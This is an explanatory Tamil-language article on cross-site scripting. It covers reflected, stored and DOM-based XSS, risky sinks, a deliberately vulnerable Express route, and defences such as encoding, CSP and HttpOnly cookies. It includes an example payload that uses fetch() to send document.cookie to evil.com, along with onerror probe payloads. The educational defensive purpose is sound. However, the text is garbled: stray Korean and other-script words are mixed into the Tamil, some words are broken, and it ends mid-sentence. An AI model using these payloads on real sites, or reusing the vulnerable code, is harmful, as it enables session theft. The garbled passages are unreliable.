Cross-Site Scripting: 2024-ல் XSS ஏன் இன்னும் பிரச்சனையாக உள்ளது

XSS இரண்டு தசாப்தங்களாக OWASP Top 10-ல் உள்ளது மற்றும் இது இன்னும் pentester சரிபார்க்கும் முதல் விஷயங்களில் ஒன்றாக உள்ளது. பிழை விளக்க எளியது மற்றும் முழுமையாக மூட சிரமமாக உள்ளது: தாக்குபவர் தங்கள் JavaScript-ஐ பீடிதாவின் உலாவியில் உங்கள் தளத்தின் origin-ல் இயங்க வைக்கிறார். அது நடந்தவுடன், அவர்கள் cookies-ஐ படிக்கலாம்,요청கள்-ஐ போலி செய்யலாம், அல்லது பயனருக்கு முன்னால் உள்ள பக்கத்தை மீண்டும் எழுதலாம்.

மூன்று வகைகள்

Reflected XSS என்பது உன்னதமான phishing-link தாக்குதல். ஒரு தேடல் பக்கம் URL-ல் இருந்து ?q=-ஐ எடுத்து அதை HTML-ல் குறியாக்கம் இல்லாமல் நேரடியாக அச்சிடுகிறது. https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> போல ஒரு இணைப்பை யாருக்கு அனுப்பி, அவர்கள் உள்நுழைந்திருக்கும் நிலையில் அதைக் கிளிக் செய்தால், அவர்களின் session cookie தாக்குபவருக்கு செல்கிறது.

Stored XSS இன்னும் மோசமாக உள்ளது ஏனெனில் அதற்கு ஒரு இணைப்பு தேவையில்லை. ஒரு comment field, ஒரு profile bio, ஒரு support ticket விளக்கம் — பயனர் உள்ளீடு சேமிக்கப்பட்டு பின்னர் மற்ற பயனர்களுக்கு rendered எங்குமே. payload ஒரு முறை post செய்து, அந்தப் பக்கத்தைக் கொண்டுவந்த ஒவ்வொரு பார்வையாளரும் பாதிக்கப்படுகிறார், சामাजிக பொறியியல் தேவையில்லை.

DOM-based XSS முழுவதுமாக client-side code-ல் வாழ்கிறது. சர்வர் harmful payload-ஐ பார்க்கவே இல்லை; இது JavaScript location.hash அல்லது document.referrer போன்ற ஒன்றைப் படித்து innerHTML அல்லது eval()-ல் அதைத் தள்ளுகிறது. இந்த வகை server-side logging முற்றிலும் சுத்தமாக தோன்றுவதால் மக்களை குழப்புகிறது.

இது உண்மையில் எங்கிருந்து வருகிறது

Beyondmost XSS bugs நம்பகமற்ற தரவை நம்பகமான markup அல்லது code-ஆக கருதுவது ஆகியவற்றிற்கு கீழே வருகின்றன. JavaScript-ல் கவனிக்க வேண்டிய பொதுவான sinks: innerHTML, outerHTML, document.write, eval, setTimeout string argument-உடன், மற்றும் jQuery-ன் .html(). சர்வர் பக்கத்தில், default-ல் auto-escape செய்யாத template engines (raw string concatenation HTML-ல்) வழக்கமான culprit ஆக உள்ளன.

ஒரு விரைவான நிஜ-உலக உதாரணம்: Node/Express app செய்கிறது

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

க்கு உடனடி reflected XSS உள்ளது. req.query.name பூஜ்ய குறியாக்கம் உடன் response-ல் நேரடியாக செல்கிறது. /greet?name=<img src=x onerror=alert(document.domain)>-ஐ hit செய்யும் யாரும் இதைக் கோறிக்கு இரண்டு வினாடிகளில் நிரூபிக்கிறார்.

இதை உண்மையாக சரிசெய்கிறது

Context-aware output encoding உண்மையான fix, workaround அல்ல. HTML body, HTML attribute, JavaScript string, மற்றும் URL contexts ஒவ்வொன்றுக்கும் வெவ்வேறு encoding rules தேவை — OWASP's Java Encoder போன்ற library, அல்லது Jinja2, React JSX, அல்லது Handlebars போன்ற template engines-ல் built-in auto-escaping, இதை சரியாக கையாளுகிறது. React குறிப்பாக default-ல் text content-ஐ escape செய்கிறது, இதற்காகவே dangerouslySetInnerHTML அவ்வாறு பெயரிடப்பட்டுள்ளது: இது ஒரு warning label ஆக உள்ளது.

Input validation உதவுகிறது ஆனால் தன்னுடையை மட்டுமே போதுமானது அல்ல. <script> tags-ஐ denylisting செய்வது끊임없이bypass செய்யப்படுகிறது — <img src=x onerror=...>, <svg onload=...>, அல்லது nearly any tag-ல் event handlers அனைத்து வேலை செய்கின்றன. Expected formats-ஐ allowlist செய்வது (ஒரு email regex, ஒரு numeric ID) ஒரு secondary layer-ஆக நன்றாக உள்ளது, ஆனால் இது proper output encoding-ஐ மாற்றாது.

Content-Security-Policy கிடைக்கும் வலிமையான defense-in-depth layer ஆக உள்ளது. ஒரு policy போல

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

inline scripts மற்றும் third-party script sources-ஐ முறைப்படி nonce'd அல்லது allowlisted இல்லாவிட்டால் தடுக்கிறது, இது encoding-ஐ தப்பிக்கினாலும் பெரும்பாலான XSS payloads-ஐ execute செய்வதை நிறுத்துகிறது. உৎপாதன CSPs-ல் unsafe-inline மற்றும் unsafe-eval-ஐ தவிர்க்கவும்; அவை பெரும்பாலான protection-ஐ ஆண்டவம் செய்கின்றன.

HttpOnly மற்றும் Secure flags-உடன் cookies set செய்யவும் அதனால் ஒரு வெற்றிகரமான XSS கூட document.cookie-ஐ through நேரடியாக session cookie-ஐ படிக்க முடியாது. இது injection-ஐ நிறுத்தாது ஆனால் இது blast radius-ஐ கணிசமாக வரம்பு செய்கிறது.

இதை நீங்களே test செய்கிறது

Burp Suite-ன் active scanner வகையான reflected மற்றும் stored XSS-ஐ தானாக பிடிக்கிறது, ஆனால் DOM-based cases-க்கு manual testing இன்னும் கணக்கு வைக்கிறது. DOMPurify-ன் own test suite போன்ற tools அல்லது வெறுமனே உங்கள் codebase-க்கு innerHTML = மற்றும் eval(-க்கு grepping விரைவாக놀랄만한உண்டு findings-ஐ மேலெழுப்புகிறது. ஒரு manual probe-க்கு, payload `